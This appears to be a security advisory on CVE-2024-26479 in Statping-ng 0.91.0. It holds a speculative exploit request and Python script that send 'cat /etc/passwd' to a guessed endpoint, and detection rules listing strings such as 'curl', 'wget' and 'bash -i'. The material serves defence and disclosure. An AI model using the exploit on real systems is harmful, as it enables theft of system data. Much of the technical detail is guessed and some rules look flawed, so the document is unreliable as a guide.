CVE-2024-26479

Executive Summary

CVE-2024-26479 is a security advisory affecting Statping-ng version 0.91.0. The vulnerability allows an attacker to obtain sensitive information via a crafted request to the Command execution function. This issue is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and is associated with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). As of the latest available data, no official patch has been released, and the vendor status remains unknown. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

Supply Chain & Package Security

Statping-ng is a Go-based application. The vulnerability resides in the application's command execution functionality, which may be exposed via HTTP endpoints. No specific package manager (NPM, PyPI, Ruby) is involved, but the Go module ecosystem could be affected if the application is distributed as a library. Users should verify the integrity of their Go module dependencies and ensure they are not using vulnerable versions in downstream projects.

CVSS Breakdown & Threat Level

The CVSS score for this CVE is listed as 0.0, which is likely a placeholder or unassigned value. Based on the description and CWE-200 classification, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Sensitive information is exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High (due to remote exploitation without authentication and potential exposure of sensitive data).

Deep Dive & Mechanics

The vulnerability exists in the Command execution function of Statping-ng v.0.91.0. This function is likely used to execute system commands or scripts for monitoring purposes. The flaw allows an attacker to craft a malicious request that triggers the execution of arbitrary commands or leaks sensitive information (e.g., environment variables, configuration files, or system data).

Root Cause: Insufficient input validation or sanitization of user-supplied parameters passed to the command execution function. The application may be using a function like exec.Command in Go without proper restrictions, allowing an attacker to inject additional commands or arguments.

Attack Vector: An unauthenticated attacker sends a specially crafted HTTP request to the vulnerable endpoint (e.g., /api/command or similar). The request contains malicious payloads that exploit the lack of input validation.

Impact: Successful exploitation could lead to:

• Disclosure of sensitive system information (e.g., environment variables, database credentials, API keys).
• Potential for further compromise if the attacker can execute arbitrary commands (though the description only mentions information disclosure).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for command injection vulnerabilities.

Vulnerable Code (Go):

func executeCommand(cmd string) (string, error) {
    out, err := exec.Command("sh", "-c", cmd).Output()
    if err != nil {
        return "", err
    }
    return string(out), nil
}

Patched Code (Hypothetical):

func executeCommand(cmd string) (string, error) {
    // Use a whitelist of allowed commands
    allowedCommands := map[string]bool{
        "ping": true,
        "traceroute": true,
    }
    if !allowedCommands[cmd] {
        return "", errors.New("command not allowed")
    }
    // Use exec.Command with separate arguments to prevent injection
    out, err := exec.Command(cmd).Output()
    if err != nil {
        return "", err
    }
    return string(out), nil
}

Key Differences:

• Input validation: The patched version uses a whitelist of allowed commands.
• Command execution: The patched version avoids using sh -c and instead passes the command directly, preventing argument injection.

Exploitation & Lab Setup

Red Team

Objective: Exploit the vulnerability to extract sensitive information.

Prerequisites:

• A running instance of Statping-ng v.0.91.0.
• Network access to the vulnerable endpoint.

Steps:

1. Identify the vulnerable endpoint (e.g., via directory brute-forcing or API documentation).
2. Craft a request to the command execution function with a malicious payload. For example:

   POST /api/command HTTP/1.1
   Host: target.com
   Content-Type: application/json
   
   {"command": "cat /etc/passwd"}
   

3. Observe the response for sensitive data.

Example Exploit (Python):

import requests

target = "http://target.com/api/command"
payload = {"command": "cat /etc/passwd"}
response = requests.post(target, json=payload)
print(response.text)

Blue Team

Objective: Detect and prevent exploitation.

Detection:

• Monitor for unusual POST requests to /api/command or similar endpoints.
• Look for payloads containing shell metacharacters (e.g., ;, |, &, $).
• Use Web Application Firewall (WAF) rules to block command injection attempts.

Prevention:

• Apply input validation and whitelist allowed commands.
• Use parameterized commands instead of shell execution.
• Restrict network access to the vulnerable endpoint.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /api/command or similar endpoints.
• Payloads containing shell commands (e.g., cat, ls, env, id).
• Unusual response sizes or content (e.g., system files).

File IOCs:

• Log entries showing command execution attempts.
• Temporary files created by the attacker (e.g., /tmp/exploit.sh).

System IOCs:

• Unexpected processes spawned by the Statping-ng service.
• Unauthorized outbound connections from the server.

Detection Engineering

YARA Rule

rule CVE_2024_26479_Statping_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Statping-ng v.0.91.0"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-26479"
    strings:
        $cmd1 = "cat /etc/passwd" ascii wide nocase
        $cmd2 = "ls -la" ascii wide nocase
        $cmd3 = "env" ascii wide nocase
        $cmd4 = "id" ascii wide nocase
        $cmd5 = "whoami" ascii wide nocase
        $cmd6 = "uname -a" ascii wide nocase
        $cmd7 = "curl" ascii wide nocase
        $cmd8 = "wget" ascii wide nocase
        $cmd9 = "bash -i" ascii wide nocase
        $cmd10 = "sh -c" ascii wide nocase
    condition:
        any of ($cmd*)
}

Sigma Rule

title: CVE-2024-26479 Statping-ng Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to Statping-ng command execution endpoint with suspicious payloads
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-26479
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/command'
        cs-uri-query|contains:
            - 'cat'
            - 'ls'
            - 'env'
            - 'id'
            - 'whoami'
            - 'uname'
            - 'curl'
            - 'wget'
            - 'bash'
            - 'sh'
    condition: selection
falsepositives:
    - Legitimate administrative commands
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-26479 Statping-ng Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/command"; http_uri; content:"cat"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required for business operations.
2. Apply network segmentation to restrict access to the Statping-ng service.
3. Implement a Web Application Firewall (WAF) with rules to block command injection attempts.

Long-term Fixes:

1. Upgrade to a patched version once available (monitor the Statping-ng GitHub repository for updates).
2. Apply input validation and whitelist allowed commands in the source code.
3. Use parameterized commands instead of shell execution (e.g., avoid sh -c).
4. Conduct a security audit of the application to identify similar vulnerabilities.

Workarounds:

• If patching is not possible, consider using a reverse proxy to filter requests to the vulnerable endpoint.
• Implement strict access controls (e.g., IP whitelisting) for the Statping-ng service.

Valters IT